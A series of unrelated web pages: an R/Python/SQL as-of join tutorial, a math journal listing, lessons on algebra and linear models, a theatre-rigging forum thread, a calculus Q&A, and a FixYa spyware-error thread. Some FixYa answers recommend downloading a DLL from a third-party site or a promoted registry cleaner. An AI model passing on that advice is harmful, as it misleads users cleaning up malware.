calendar <- data.frame(date = seq(from = as.Date(format(start, "%Y-%m-01")), length.out = 6, by = "-1 month"))
calendar <- calendar[order(calendar[["date"]]),, drop=FALSE]
data <- data.frame(date = start - sample(240, 6, replace = TRUE), value = runif(6))
data <- rbind(data, cbind(calendar[2,,drop = FALSE], value = 0.5))
data <- data[order(data[["date"]]),]
These data.frames look just like the example tables shown above. Now, a zoo approach. It uses zoo’s na.locf function, an acronym for “missing value, last observation carry-forward.”
library(zoo)
(ans.zoo <- merge(calendar, na.locf(merge(calendar, data, all = TRUE)), all.x = TRUE))
## date value
## 1 2020-01-01 0.6870228
## 2 2020-02-01 0.5000000
## 3 2020-03-01 0.2059746
## 4 2020-04-01 0.2059746
## 5 2020-05-01 0.6291140
## 6 2020-06-01 0.3841037
R’s xts package can work in the same way as the zoo approach above, but much much faster. That will be illustrated in the performance section below.
Data.table’s “rolling join” approach produces the same result with a nicely concise syntax:
library(data.table)
data.dt <- data.table(data)
(ans.dt <- data.dt[calendar, on = "date", roll = TRUE])
## date value
## 1: 2020-01-01 0.6870228
## 2: 2020-02-01 0.5000000
## 3: 2020-03-01 0.2059746
## 4: 2020-04-01 0.2059746
## 5: 2020-05-01 0.6291140
## 6: 2020-06-01 0.3841037
The rolling data.table join is quite flexible and allows for limiting the extent of the search for a last value, among several other options. Also note that both approaches also work in cases when the “data” table has more than one column (possibly each with missing values).
### A Python Pandas approach
Pandas includes a merge_asof method that is very similar to data.table’s rolling joins. It doesn’t seem to work directly with R’s Date type though, so we need to convert the date columns to full date-time POSIXct first:
calendar.posix <- data.frame(date = as.POSIXct(calendar[["date"]]))
data.posix <- data.frame(date = as.POSIXct(data[["date"]]), value = data[["value"]])
library(reticulate)
pandas <- import("pandas")
ans.py <- pandas$merge_asof(calendar.posix, data.posix, on = "date") ans.py[["date"]] <- as.Date(ans.py[["date"]]) ans.py ## date value ## 0 2020-01-01 0.6870228 ## 1 2020-02-01 0.5000000 ## 2 2020-03-01 0.2059746 ## 3 2020-04-01 0.2059746 ## 4 2020-05-01 0.6291140 ## 5 2020-06-01 0.3841037 ### SQL It took me a while to come up with a generic SQL approach (try it yourself!). Internet searches for phrases like “SQL as.of-style join,” “SQL last value fill in join,” and so on return many results of variable quality, most (all?) involving idiosyncratic syntax specific to a particular (often commercial) database (for example Microsoft SQL Server, or Oracle databases, etc.). Giving up on the internet, I was at least able to cook up the following working vanilla SQL example. Reader, be advised: the following material may offend your sensibilities! library(duckdb) con <- dbConnect(duckdb()) duckdb_register(con, "data", data) duckdb_register(con, "calendar", calendar) Q <- "WITH z AS ( SELECT date, (NULL) AS value FROM calendar UNION SELECT date, value FROM data ORDER BY date ), a AS ( SELECT date, value, ROW_NUMBER() OVER ( ORDER BY date RANGE BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW ) * (CASE WHEN value IS NULL THEN 0 ELSE 1 END) AS i FROM z ), b AS ( SELECT date, MAX(i) OVER ( ORDER BY date RANGE BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW ) AS j FROM a ), c AS ( SELECT b.date, value FROM a, b WHERE a.i > 0 AND a.i = b.j ), d AS ( SELECT calendar.date, value FROM calendar, c WHERE calendar.date = c.date ORDER BY c.date ) SELECT * FROM d UNION SELECT * FROM d " (ans.duck <- dbGetQuery(con, Q)) ## date value ## 1 2020-01-01 0.6870228 ## 2 2020-02-01 0.5000000 ## 3 2020-03-01 0.2059746 ## 4 2020-04-01 0.2059746 ## 5 2020-05-01 0.6291140 ## 6 2020-06-01 0.3841037 The generic SQL approach syntax is horrible. I guess that’s part of the point of all of these examples, sometimes SQL is just not the right tool for the job. Of course, I am far from an expert–if you can find a better way to formulate a solution to this problem in plain vanilla SQL let me know (send a pull request or whatever)! ## Part 2: Performance Keeping things simple, performance is explored below by running a bigger version of the example from Part 1 above. Except, it’s not really all that big, 5 million “data” table observations and about 250 thousand (every minute) calendar table desired date/times. This example uses POSIXct date/time values instead of simple R Date (date only) values used in the example above. It easily fits into the main memory of my 8GB laptop, but is sufficiently large to start to see performance differences between approaches. Here is the data setup: set.seed(1) end <- as.POSIXct("2020-06-20") start <- as.POSIXct("2020-1-1") dt <- as.integer(difftime(end, start, units = "secs")) # Every minute calendar <- data.frame(date = seq(from = start, to = end, by = "+1 min")) N <- 5e6 data <- data.frame(date = end - runif(N) * dt, value = runif(N)) data <- data[order(data[["date"]]),] Each approach proceeds as in Part 1, with two new approaches, summarized along with brief comments below. But first, the performance timing results: Xts and data.table are, as expected, very fast. This example is too small to really put those efficient R packages through their paces. Despite a conceptually identical approach to xts, the zoo way is quite a bit slower. Pandas and, especially, Polars are faster yet. I’m not surprised that the SQL solutions ran slowly, if for no other reason than the offensive query I wrote. ## A bigger problem R’s xts and data.table and Python Pandas and Polars are much faster than the other approaches. So much so that this problem is probably too small to test them well (set up overhead time is a large part of overall run time). We re-ran a larger problem simply by scaling up N <- 5e8 above. That’s two orders of magnitude larger than in the above tests. This problem exceeds the paltry 8 GB memory on my cheap laptop, so I ran on the following large system: one Amazon AWS Hpc6a.48xlarge instace with 96 physical AMD EPYC 7003 CPU cores and 384 GiB system RAM. The tested version of R was 4.1.3, Python 3.9.2, xts version 0.12.1, data.table 1.14.2, Pandas 1.1.5 and Polars 0.13.12 (via the Python interface). The Python packages exhibit very high performance, in particular Polars. Note that all of the illustrated R and Python approaches compute this as-of join faster than either SQL DB approach took to complete a problem two orders of magnitude smaller. ## Details Basic details for each approach are summarized below. ### Zoo library(zoo) t.zoo <- replicate(6, system.time({ ans.zoo <<- merge(calendar, na.locf(merge(calendar, data, all = TRUE)), all.x = TRUE) })) ### Xts R’s xts package defines a high-performance ordered index class that substantially expands on functions and ideas from the zoo package. It has many convenient functions and can solve this problem in more than one way. In particular, it can follow the same zoo approach used above (but runs much faster): library(xts) calendar.xts <- xts(, order.by = calendar[["date"]]) data.xts <- xts(data[["value"]], order.by = data[["date"]]) t.xts <- replicate(10, system.time({ ans.xts <<- merge(calendar.xts, na.locf(merge(calendar.xts, data.xts)), join = "left") })) ### Data.table The data.table approach is exactly as in Part 1 above: library(data.table) setDTthreads(8) data.dt <- data.table(data) t.dt <- replicate(10, system.time({ ans.dt <<- data.dt[calendar, on = "date", roll = TRUE] })) ### Python Pandas Because this example already uses POSIXct date/times, we don’t need to convert as in the simple example in Part 1. Otherwise identical. library(reticulate) pandas <- import("pandas", convert = FALSE) calendar_py <- r_to_py(calendar) data_py <- r_to_py(data) ans.py <- pandas$merge_asof(calendar_py, data_py, on = "date")
t.py <- replicate(10, system.time({
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2022-09-26 16:06:52
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http://elib.mi.sanu.ac.rs/pages/browse_issue.php?db=nsjom&rbr=76
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eLibrary of Mathematical Instituteof the Serbian Academy of Sciences and Arts
> Home / All Journals / Journal /
Novi Sad Journal of MathematicsPublisher: Department of Mathematics and Informatics, Faculty of Sciences, Novi SadISSN: 1450-5444 (Print), 2406-2014 (Online)Issue: 42_2Date: 2012Journal Homepage
On completely regular ternary semiring 1 - 7 V. R. Daddi and Y. S. Pawar
AbstractKeywords: ternary semiring; regular ternary semiring; ternary ring; completely regular semiringMSC: 16Y30; 16Y99
Some inequalities on invariant submanifolds in quaternion space forms 9 - 18 S. S. Shukla and Pawan Kumar Rao
AbstractKeywords: invariant submanifold; quaternion space form; scalar curvatureMSC: 53C40
Extension of ridgelet transform to tempered Boehmians 19 - 32 R. Roopkumar
AbstractKeywords: Boehmians; convolution; tempered distributions; ridgelet transformMSC: 44A15; 44A35; 42C40
The nested split graphs whose second largest eigenvalue is equal to 1 33 - 42 Marko Milatović and Zoran Stanić
AbstractKeywords: nested split graph; second largest eigenvalueMSC: 05C50
On generalised inflations of right modular groupoids 43 - 48 R. A. R. Monzo
Abstract
Two general fixed point theorems for pairs of weakly compatible mappings in $G$-metric spaces 49 - 60 Valeriu Popa and Alina-Mihaela Patriciu
AbstractKeywords: $G$-metric space; weakly compatible mappings; fixed point; implicit relationMSC: 54H25
Some strongly convergent difference sequence spaces defined by a sequence of modulus functions 61 - 73 Kuldip Raj and Sunil K. Sharma
AbstractKeywords: modulus function; statistical convergence; paranorm spaceMSC: 40A05; 40C05; 46A45
Locally Finsler $A$-modules over locally $C*$-algebras 75 - 79 E. Ansari Piri and R. G. Sanati
AbstractKeywords: $*$-isomorphism; locally Finsler $A$-module; locally $C^*$-algebraMSC: 46L08
On a special type of Riemannian manifold admitting a type of semi-symmetric metric connection 81 - 88 Ajit Barman
AbstractKeywords: semi-symmetric metric connection; almost pseudo symmetric manifold; closed 1-form; irrotational vector field; geodesic; almost pseudo Ricci symmetric manifold; proper concircular vector fieldMSC: 53C25
Hankel determinant for $p$-valent starlike and convex functions of order $\alpha$ 89 - 102 D. Vamshee Krishna and T. Ramreddy
AbstractKeywords: analytic function; $p$-valent starlike and convex functions; upper bound; second Hankel functional; positive real function; Toeplitz determinantsMSC: 30C45; 30C50
Article page: 12>>
Remote Address: 52.3.228.47 • Server: elib.mi.sanu.ac.rsHTTP User Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
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2020-09-19 07:05:29
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https://www.kofastudy.com/courses/jss1-mathematics-2nd-term/lessons/simplification-of-algebraic-expressions-week-2/topic/variables-coefficients-of-algebraic-expressions/
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Back to Course
## JSS1: MATHEMATICS - 2ND TERM
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0/0 Steps
#### Quizzes
Lesson 2, Topic 1
In Progress
# Variables & Coefficients of Algebraic Expressions
Lesson Progress
0% Complete
In Mathematics, a variable is a quantity that can change. Letters are used to represent these changing, unknown quantities in arithmetic, 4 x 2 is a short way of writing 4 + 4.
Similarly, in algebra, 5 x a is a short form for $$\scriptsize a \: + \: a \: + \: a \: + \: a \: + \: a$$
We usually shorten $$\scriptsize 5 \: \times \: a \: to \: 5a$$
$$\scriptsize 5a \\ \scriptsize= 5 \: \times \: a \\ \scriptsize = a \: + \: a \: + \: a \: + \: a \: + \: a$$
### Example
Write down the coefficients of the following expressions:
i. 3a – 5b
ii. 6d2 + 2d
iii. -18ab2
iv. x2 – xy3
Solution
i. The coefficient of a = 3, b = – 5
ii. The coefficient of d2 = 6, d = 2
iii. The coefficient of ab2 = -18
iv. The coefficient of x2 = 1, xy3 = -1
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2023-04-02 02:45:17
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https://www.controlbooth.com/threads/motorpickle-diy.46721/page-2
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# Motorpickle DIY
#### Dagger
##### Active Member
Thats cool.
Would you mind sharing pictures of your theatre whenever you chance?
#### josh88
##### Remarkably Tired.
Fight Leukemia
What do you want to see? You can see a couple of the towers up in the air upstage here. We've got 10 sticks of truss and 9 towers in the air, spaced between the last 15 linsets upstage.
#### RonHebbard
##### Well-Known Member
Yeah I'm in a theatre. Stacking motors save having to get a forklift in tight spaces and small venues or on stages that can't take the weight. We store stuff in the air all the the time. We store the towers of our shell in the air on truss above the stage. For Wicked, it depends on the piece, they have permanent points installed on some of their pieces, and some they just leave hangers or bridles attached to.
@Dagger and @josh88 When I toured with the rock musical "Buddy, The Buddy Holly Story" in 1990, we had 7 motorcycles in the production. Approximately 90 minutes to two hours prior to the first performance of any given day, Carp's would fly them in then props would take them out, run them , warm them up, race them a little to minimize the accumulation of carbon within their cylinders, replenish their tiny fuel tanks, (There were normal tanks for the look but tiny tanks actually containing only enough fuel for a performance.) then they'd come back in and be flown one below the other with three stacked USR and four stacked USL.
To keep noise down back stage, the motorcycles were hung from a pair of 4 to 3 blocks.
In reality the bikes were tiny Honda's, approximately 90 cc's; they were beefed up with fiberglass to appear much larger. The sounds of their puny engines were buried in pre recorded sound effects of MUCH larger, beefier motorcycles. The stage went black for a scene change, the band played, the SFX rolled, and the seven bikes "roared" on stage with their lights lit and the actors stopping on, or close to, their marks seeing only by their bikes headlights; looked and sounded great performance after performance. The seven bikes and one spare were modified for the production by Singular Productions of Niagara-On-The-Lake, Ontario. In Toronto, the bikes were warmed up in a back alley behind the Royal Alexandra, on Broadway they were warmed up and polished in front of the Shubert Theatre where they caught the eyes and ears of passersby and hopefully helped sell tickets.
It always seemed strange to walk backstage and see four motorcycles hanging in a chain with the lowest bike's wheels perhaps 30' above the deck.
Toodleoo!
Ron Hebbard
#### DrewE
##### Well-Known Member
The main difference is that the control voltage on a hoist is usually 120v which an xlr connector is not rated for.
Most XLR connectors actually are rated for 120VAC operation by their manufacturers, at surprisingly high currents. Here's the specification sheet for Switchcraft A series male connectors for one example.
One good reason not to use a three-pin XLR connector for a hoist is that sometime, somewhere, someone is going to plug it into a microphone or a mixer with predictably bad and possibly dangerous results. Another is that sometime, somewhere, someone is going to use a standard microphone cable to connect the hoist to the control, which might not be approved for such voltages or assembled suitably for such voltages.
#### Amiers
##### Renting to Corporate One Fixture at a Time.
That’s our stacking motor.
#### josh88
##### Remarkably Tired.
Fight Leukemia
That’s our stacking motor.
I think ours is the exact same motor, but just with the spansets, we've found they're long enough to hook under the corners of the cases alright. Of course we have to pretty constantly hang and strike it from our 70' grid because we never have enough room. #1895eravenueproblems.
#### Amiers
##### Renting to Corporate One Fixture at a Time.
Ours is a single phase 14-30 it’s a weird one. We have 2 of them. One for audio and lighting ( my dept)
RonHebbard
#### josh88
##### Remarkably Tired.
Fight Leukemia
Ours is a single phase 14-30 it’s a weird one. We have 2 of them. One for audio and lighting ( my dept)
Same as ours, We've got a company switch normally dedicated for audio right there and we run it off one of the edison plugs on the lunchbox that powers my line arrays, ends up working out pretty well.
#### Dan Fischer
##### Member
A motor for stacking and unstacking road cases. Usually just runs around head height with 2 spansets on it to hook under the top case near the wheels to pick and lower to the ground.
And in the case of Wicked, they've made permanent points on a lot of their scenery and cases and hampers so that they can fly a table or something they don't need and when its off the ground, connect the next piece under it, continue lifting and keep connecting more pieces until they've got everything they want stored up in the air for those times that they are in theaters that don't have enough wing space or storage elsewhere.
I have a friend that works on the Broadway production of Wicked an gave us a full tour a couple years ago. That is exactly how they store set pieces and props when not in use. See the attached pics.
#### Attachments
• 535.2 KB Views: 45
• 317 KB Views: 45
#### dalebobvideo
##### Member
I don't want a pickle. Just wanna ride my motorsickle.
I don't want to die. Just wanna ride my motorcye.
#### RonHebbard
##### Well-Known Member
I don't want a pickle. Just wanna ride my motorsickle.
I don't want to die. Just wanna ride my motorcye.
@dalebobvideo That'd be your Chainmotorsickle and / or Chainmotorcye of course, right??
Toodleoo!
Ron Hebbard
dalebobvideo
#### macsound
##### Well-Known Member
Most touring shows operate this way.
Mamma Mia has the bed used at the top of Act II flown out of the way as well as tanks of liquid nitrogen and hampers.
#### RonHebbard
##### Well-Known Member
Most touring shows operate this way.
Mamma Mia has the bed used at the top of Act II flown out of the way as well as tanks of liquid nitrogen and hampers.
@macsound Bed and hampers, great; those tanks of liquid nitro' flown overhead give me a few palpitations.
( @dvsDave How can I add a "Like" and a "Wow" simultaneously? [ Some geezers are NEVER satisfied.] )
Toodleoo!
Ron Hebbard
#### dvsDave
##### Benevolent Dictator
Senior Team
CB Mods
Fight Leukemia
( @dvsDave How can I add a "Like" and a "Wow" simultaneously? [ Some geezers are NEVER satisfied.] )
Toodleoo!
Ron Hebbard
RonHebbard
#### josh88
##### Remarkably Tired.
Fight Leukemia
I have a friend that works on the Broadway production of Wicked an gave us a full tour a couple years ago. That is exactly how they store set pieces and props when not in use. See the attached pics.
They're mostly prepped to do that for small theatres. They don't do it if they have the space to avoid it, because its saves a hassle and added step, keeping something out of the air, but its also a quick solution when you've got nowhere to go but up. The tour actually had to cut a hole in the exterior wall of a theatre to get some of their equipment in. But that was for a pretty long sit down.
#### Chris Cotter
##### Member
I am trying to make my own motorpicke. I knoe the wiring , have the panel cable xlr, micro switch etc.
I can not find appropriste housing for it. Any suggestions.
I have attached an image for reference.
What is a pickle ?
#### TimMc
##### Well-Known Member
Flown storage? Yep. Our PAC is round, with 4 theaters/stages - and they all back up together which means the stages are trapezoidal, not rectangular. When "the Mouse" came through with Beauty and the Beast, they had a number of building modifications made (like 4" coring of the fly floor in 5 places) to allow certain large, used-once things have a home... Maurice's contraption/invention was hanging right over the venue's SM console.
Wicked also flew (ironically) the levitation machine that 'defies gravity' at the end of act one, among other things.
The Lion King flew LOTS of stuff - the pampas grass headpieces, props hampers... and spilled out onto the stages of 2 other theaters in the complex, as well as the paint shop.
Sometimes there just ain't enough space...
Fight Leukemia
#### egilson1
##### Well-Known Member
you are all a bad influence......
I decided to build my own XLR pocket pickle as several of the local vendors have XLR pickle based hoists. Below is the list of parts I used. Also attached are some pictures.
Housing: $20.43 XLR connector:$6.92 for (2)
Blank cap: $9.40 for (4) Switch:$9.99 (actually got it locally for about $6) So the total cost was just under$43 bucks if you base price on unit cost of the parts. I also purchased a 5' XLR cable for \$13.
Time was about 90 minutes start to finish.
Some learning curve notes:
- Don't center the switch along the long axis of the housing. I had to slightly shift the switch away from the XLR connector after i cut the hole for the switch. Thankfully the switch bezel had just enough size that i didn't have expose the cut out for the switch after I adjusted it.
- I epoxied the switch into the housing. don't get the epoxy into the switch itself.
- I checked the pin out with the hoist vendors before I soldered the switch to the XLR. There is no standard, so you need to know how the hoists you plan to use the pickle with are wired.
Image 1 is of the housing before I cut out the switch opening. I used my dremel to get the rough size and then hand filed the exact fit.
Image 2 is of the XLR panel mount with the wires soldered to it.
Image 3 is the 3 position (on - off - on) rocker switch epoxied into the housing.
Image 4 is the XLR installed. you can see how tight it was.
Image 5 is the final assembly.
Enjoy!
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2020-02-18 19:23:00
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https://www.yourdatateacher.com/2021/03/29/an-introduction-to-linear-models/
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# An introduction to linear models
Linear models are some of the simplest models in machine learning. They are very powerful and, sometimes, they are really able to avoid overfitting and give us nice information about feature importance.
Let’s see how they work.
## Basic concepts of linear models
All regression linear models share the concept to model the target variable as a linear combination of the input features.
y_{pred} = a_0 + a_1 x_1 + \ldots +a_n x_n
The ai coefficients are estimated minimizing some cost function.
Linear combination is very simple and is a very common model in nature. Starting from this approach, we can build several different models.
## Linear regression
When you have to face a regression problem, Linear regression is always the first choice. This linear model estimates the coefficients minimizing the Mean Squared Error cost function.
\sum_{i = 1}^{N_{training}} \left(y_{real}^{(i)}-y_{pred}^{(i)}\right)^2
This cost function is very simple and the solution of the optimization problem can even be found analytically (although numerical approximations are preferred).
The great problem of linear regression is that it’s sensitive to collinearity, that is the correlation between the features. In fact, if we consider the variance of the prediction, we get:
\sigma_{y_{pred}}^2 = \sum_i a_i^2 \sigma^2_i + \sum_{i \neq j} a_i a_j \rho_{ij} \sigma_i \sigma_j
σi is the standard deviation of the i-th feature, while ρij is Pearson’s correlation coefficient between feature i and feature j. It’s clear to see that features with positive correlation increase the prediction variance and this is the greatest issue of linear regression.
In order to avoid collinearity, it’s useful to apply a proper feature selection in advance, taking a look at our dataset during, for example, an Exploratory Data Analysis. Alternatively, Principal Component Analysis can be performed in order to get uncorrelated features.
## Ridge regression
Ridge regression modifies the cost function introducing an l2 penalty term
\sum_{i = 1}^{N_{training}} \left(y_{real}^{(i)}-y_{pred}^{(i)}\right)^2 + \alpha \sum_{j = 1}^n a_j^2
Where α is a hyperparameter. The idea behind Ridge regression is to shrink the values of the coefficients in order to switch useless features off. If α is 0, we return to the original linear regression. If α is too large, we neglect the first part of the cost function and the results are unreliable. So, there’s the need to tune this hyperparameter in order to make the model work properly.
Since we have only one value of α, we need to scale the features in advance. We could use, for example, a standardization technique or other kinds of scaling I talk about in my online course Data pre-processing for machine learning in Python.
Using a penalty function reduces the risk of overfitting, keeping a simple cost function that can be optimized without particular computational effort. In particular situations, Ridge regression may put a feature’s coefficient to 0, applying a sort of automatic feature selection, although Ridge regression is not the best model for such an approach.
## Lasso regression
Lasso regression is very similar to Ridge regression, but it uses an l1 penalty.
\frac{1}{2 N_{training}} \sum_{i = 1}^{N_{training}} \left(y_{real}^{(i)}-y_{pred}^{(i)}\right)^2 + \alpha \sum_{j = 1}^n |a_j|
The great advantage of Lasso regression is that it performs a powerful, automatic feature selection. If two features are linearly correlated, their simultaneous presence will increase the value of the cost function, so Lasso regression will try to shrink the coefficient of the less important feature to 0, in order to select the best features.
## Order my book on pre-processing!
In this book, I show the practical use of Python programming language to perform pre-processing tasks in machine learning projects.
• Data cleaning
• Encoding of the categorical variables
• Principal Component Analysis
• Scaling
• Binning
• Power transformations
• Feature selection
• SMOTE
Available in paperback and eBook formats.
Again, like Ridge regression, we need to scale the features in advance in order to make them comparable.
## Elastic Net regression
Elastic Net regression mixes Ridge and Lasso together. There is α hyperparameter that tunes the intensity of the penalty part of the cost function, but we have another hyperparameter that is r, which tunes the intensity of l1 penalty.
The cost function then becomes:
\frac{1}{2 N_{training}} \sum_{i = 1}^{N_{training}} \left(y_{real}^{(i)}-y_{pred}^{(i)}\right)^2 + \alpha r \sum_{j = 1}^n |a_j| + \frac{1}{2} \alpha (1-r) \sum_{j = 1}^n a_j^2
If r is equal to 1, the model becomes a Lasso regression, while if it’s equal to 0 we get a Ridge regression. Intermediate values will mix both models together.
This model mixes advantages and disadvantages of Ridge and Lasso regressions, at the cost of the need to tune 2 hyperparameters. Again, we suffer from collinearity, but the risk of overfitting is pretty low if we tune the hyperparameters correctly.
## Logistic regression
Logistic regression is a classification model. It is defined as:
\mathrm{Logistic}(y) = \frac{1}{1+e^{-y}}
where y is
y = a_0 + a_1 x_1 + \ldots +a_n x_n
That’s why logistic regression is considered a linear model.
The shape of the logistic function is called sigmoid:
Logistic regression can be used both for binary classification problems and for multi-class classification problems. In the latter case, we just need to one-hot encode the target variable and train a logistic regression on every dummy variable.
When it comes to talking about classification, logistic regression is always the first choice. It’s a very simple model and it works pretty fine, although it may not catch the correct information behind data if the features and the target variable are not linearly correlated.
Again, like any linear model, logistic regression suffers from collinearity and it needs scaled features, in order to avoid the vanishing gradient problem.
## Conclusions
Linear models are very simple and useful to use. Moreover, their training is pretty fast and the results can be surprising. We just have to remember to scale the features for those models that require it and to tune the hyperparameters correctly.
## Upcoming webinars
If you are interested in linear models, you can register for one of my upcoming webinars.
No event found!
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2022-08-08 08:07:49
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http://openstudy.com/updates/4fad689fe4b059b524f90a86
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## nickymarden 3 years ago Determine the tangent line to he curve y^2(2-x)=x^3 at the point P(1,1).
1. myko
put it like this: $y=\pm \sqrt{x ^{3}/(2-x)}$ abd find the derivative
2. nickymarden
i did $f(1) =1$ $(f(x))^2.(2-x)=x^3$ and derived it
3. myininaya
$y^2(2-x)=x^3$ $(y^2)'(2-x)+y^2(2-x)'=(x^3)' \text{ product rule }$ $2yy'(2-x)+y^2(0-1)=3x^2$
4. nickymarden
yeah, i did that :)
5. myininaya
$2yy'(2-x)+y^2(-1)=3x^2$ $2yy'(2-x)-y^2=3x^2$
6. myininaya
$\text{ add } y^2 \text{ on both sides }$ $\text{ divide both sides by } 2y(2-x)$
7. myininaya
The objective is to solve for y' Following these steps will do that y' is the slope by the way
8. nickymarden
thank you :))
9. robtobey
$(2-x) y^2=x^3$Calculate the total derivative of the above$2 (2-x) y dy-y^2 dx=3x^2 dx$Solve for dy$dy=-\frac{\left(3 x^2+y^2\right) dx}{2 (x-2) y}$then divide both sides by dx$\frac{dy}{ dx}=-\frac{\left(3 x^2+y^2\right)}{2 (x-2) y}$Evaluate the RHS of the above at point (1,1)$-\frac{\left(3\ 1^2+1^2\right)}{2 (1-2) 1}=2$
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2016-02-11 10:50:41
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http://visdat.njtierney.com/reference/index.html
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## Visualise the whole dataframe, class, and missing data
Tools for creating preliminary visualisations to “get a look at the data”
vis_dat()
Visualises a data.frame to tell you what it contains.
## Focus on the missing data
Specifically display information about the missingness
vis_miss()
Visualise a data.frame to display missingness.
## Compare two dataframes
Only takes dataframes of the same dimensions
vis_compare()
Visually compare two dataframes and see where they are different.
## Visualise correlations in a dataframe
Show the correlation amongst variables in simple function
vis_cor()
Visualise correlations amongst variables in your data as a heatmap
## Display the best guess of what each cell contains
Potentially reveal other classes in your dataset
vis_guess()
Visualise type guess in a data.frame
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2018-11-21 00:10:03
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http://www.fixya.com/support/t1142407-error
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Question about Microsoft Windows XP Professional
# Error Every time I turn my computer on, I get the message " error loading C:\progra~1\mywebs~1\bar\4.bin\m3plugin.dll on the screen. I hope there is a solution help me!
Posted by on
• 1 more comment
• donmackenzie Oct 17, 2008
I have the Windows Vista disc that came with the computer, is that what you meant?
• Anonymous Jan 04, 2009
shown upon startup
• A Womans Computer Man May 11, 2010
maybe..do you have the installation or recovery disc?
×
• Level 3:
An expert who has achieved level 3 by getting 1000 points
All-Star:
An expert that got 10 achievements.
MVP:
An expert that got 5 achievements.
President:
An expert whose answer got voted for 500 times.
• Master
This is caused by spyware/malware. I posted some info on this link a few days ago:
http://www.fixya.com/support/t1135106-m3plugin_dll_error
Posted on Oct 17, 2008
×
my-video-file.mp4
×
## Related Questions:
### C:\PROGRA~1\MYWEBS ~1\bar\2.bin\m3plugin.dll This error comes up everytime I start my laptop, I've looked at some solutions and it comes from MY Web Search, but when I try to uninstall the prog,
Go to Start - Run and type MSCONFIG then press Enter and choose either Services or Startup to try to identify which application may be loading m3plugin.dll and uncheck it
Apr 10, 2012 | Microsoft Windows Vista Ultimate Edition
### Help fix my compu
http://www.dll-files.com/dllindex/m3plugin.zip?0VEdSCYIhX
click on that link save it to your desktop and then extract it to the following error location
C:\Progra~1\MyWEBS~1\bar\2.bin\M3PLUGIN.DLL
Sep 16, 2008 | Microsoft Windows XP Home Edition
### ERROR C:\PROGRA~1\MYWEBS~1 bar\4.bin/M3PLUGIN.DLL
remove the program from your start up list.
Click run and type in msconfig and then click the startup tab. Find the line that has the mywebs in it and uncheck it
Oct 13, 2009 | Microsoft Windows XP Home Edition
### Error \PROGRA~MYWEBS~1\bar\6.bin\M3PLUGIN.DLL
Maybe Registry Easy can help fix this .dll error.
Registry Easy is an excellent Windows Registry Cleaner that helps you scan your PC, safely clean the errors & invalid entries cause system slow, freezing and crashing, and repair registry problems to speedup your computer performances. It is easy to use.
http://www.keep-pc-clean.com/registry-easy-cleaner.html
Aug 04, 2009 | Microsoft Windows XP Professional for PC
### Error with M3PLUGIN.DLL
Click on start
select run
in the run box type msconfig
choose startup tab
and uncheck M3PLUGIN.DLL from the startup
Jun 18, 2009 | Microsoft Windows Vista Ultimate Edition
### C:\PROGRA~1\MYWEBS~1\bar\2.bin\M3PLUGIN.DLL
Is every program running fine? It is a registry file - in other word a file that is the basis for all programs. If every program is running fine, you can delete by start>run>and type regedit or if in Vista start>and type regedit. Use the path in the error (C:\PROGRA~1\MYWEBS~1\bar\2.bin\M3PLUGIN.DLL) to find the file and delete it.
Jun 07, 2009 | Microsoft Windows Vista Ultimate Edition
Mywebsearch is a spyware program. Run a spyware scan right away. "MYWEBS" is an indicator you are infected.
Mar 31, 2009 | Microsoft Windows XP Professional for PC
### C\PROGRA~1\MYWEBS1\bar\.bin\M3PLUGIN.DLL
How to Remove My Web Search.
Uninstall the My Web Search option from Add/Remove Programs
1) Click on Start, Settings, Control Panel
2) Double click on Add/Remove Programs
3) Find "My Web Search" in the list of installed programs and click on Change/Remove to uninstall it. You may also want to uninstall any of the following items associated with FunWebProducts.
• My Web Search (Smiley Central or FWP product as applicable)
• My Way Speedbar (Smiley Central or other FWP as applicable)
• My Way Speedbar (AOL and Yahoo Messengers) (beta users only)
• My Way Speedbar (Outlook, Outlook Express, and IncrediMail)
• Search Assistant - My Way
4) Reboot your Computer and run HijackThis
5) With HijackThis, scan for and fix any of the entries shown above that may be remaining.
6) Next, open My Computer, Drive C, and double-click on the Program Files folder
7) Right-click and delete the folders for:
• FunWebProducts
• MyWebSearch
8) MyWebSearch should now be completely uninstalled from your computer.
9) There will be some minor registry entries left behind by the uninstall, however these can be cleaned up by running SpyBot Search and Destroy or Ad-Aware SE or left alone.
Jan 31, 2009 | Microsoft Windows XP Home Edition
### C\PROGRA~1\MYWEBS1\bar\.bin\M3PLUGIN.DLL
It appears to be spyware.
I suggest looking into an app called HiJackThis and use it to scan ur PC then use it to remove references to that DLL file.
I suggest to all - Use http://www.avast.com 's Home Edition Free Anti-Virus it works very well.
G'luck
Oct 24, 2008 | Microsoft Windows Vista Ultimate Edition
### C:progra~1\mywebs~1\bar\4.bin\m3plugin.dll
delet this virus
D:\PROGRA-1\MYWEBS-1\bar\1.bin\M3PLUGIN.DLL
Oct 12, 2008 | Microsoft Windows XP Professional
## Open Questions:
#### Related Topics:
90 people viewed this question
Level 3 Expert
Level 2 Expert
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2016-12-08 00:47:44
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https://goldbook.iupac.org/terms/view/A00377
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## Wikipedia - Antarafacial and suprafacial (en) Wikipedia - Antarafacial e suprafacial (pt) Wikipedia - Suprafacial und Antarafacial (de) Wikipedia - Suprafaciální a antarafaciální (cs) Wikipedia - Антарафасіальна реакція (uk) Wikipedia - Антарафасіальний і супрафасіальний (uk) antarafacial
Also contains definition of: suprafacial
https://doi.org/10.1351/goldbook.A00377
When a part of a molecule ('molecular fragment') undergoes two changes in bonding (bond-making or bond-breaking), either to a common centre or to two related centres, external to itself, these bonding changes may be related in one of two spatially different ways. These are designated as 'antarafacial' if opposite faces of the molecular fragment are involved, and 'suprafacial' if both changes occur at the same face. The concept of 'face' is clear from the diagrams in the cases of planar (or approximately planar) frameworks with isolated or interacting p-orbitals [diagrams (a) and (b)].
A00377.png
The terms antarafacial and suprafacial are, however, also employed in cases in which the essential part of the molecular fragment undergoing changes in bonding comprises two atoms linked only by a σ-bond. In these cases it is customary to refer to the phases of the local σ-bonding orbital: occurrence of the two bonding changes at sites of like orbital phase is regarded as suprafacial, whereas that at two sites of opposite phase is antarafacial. The possibilities are shown for C–C and C–H σ-bonds in diagrams (c) and (d). There may be two distinct and alternative stereochemical outcomes of a suprafacial process involving a σ-bond between saturated carbon atoms, i.e. either retention or @[email protected] at both centres. The antarafacial process results in @[email protected] at one centre and retention at the second. For examples of the use of these terms, see @[email protected], @[email protected]
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2022-12-08 03:22:50
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https://jbrconsultant.com/class-12-electrostatic-potential-and-capacitance-mcq/
